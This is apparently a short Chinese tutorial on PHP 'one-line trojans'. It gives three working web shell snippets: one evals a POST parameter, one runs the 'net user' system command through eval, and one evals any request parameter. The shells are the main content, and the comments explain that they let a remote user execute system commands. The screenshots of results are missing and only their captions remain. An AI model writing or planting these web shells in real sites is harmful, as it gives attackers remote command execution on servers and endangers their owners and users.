PHP一句话木马

 

一：

关于PHP的一句话木马：

<?php

$a=$_POST['H'];
eval("$a");//eval会将输入的$a作为php语句执行，因此只要对_赋一定的system命令值，就能够执行系统命令

?>

 

显示结果：

 

二：

关于PHP的一句话木马：

<?php
$string=@$_POST["_"];
var_dump($string);

echo "<br>";
eval("system('net user');");

?>

 

当POST参数_的值为空时：

 

 当不为空时：

三：

 使用REQUEST方法：

<?php

@eval($_REQUEST[_]);//什么类型的，如POST，GET均可以接收

?>

 

显示结果：

GET型：

POST型：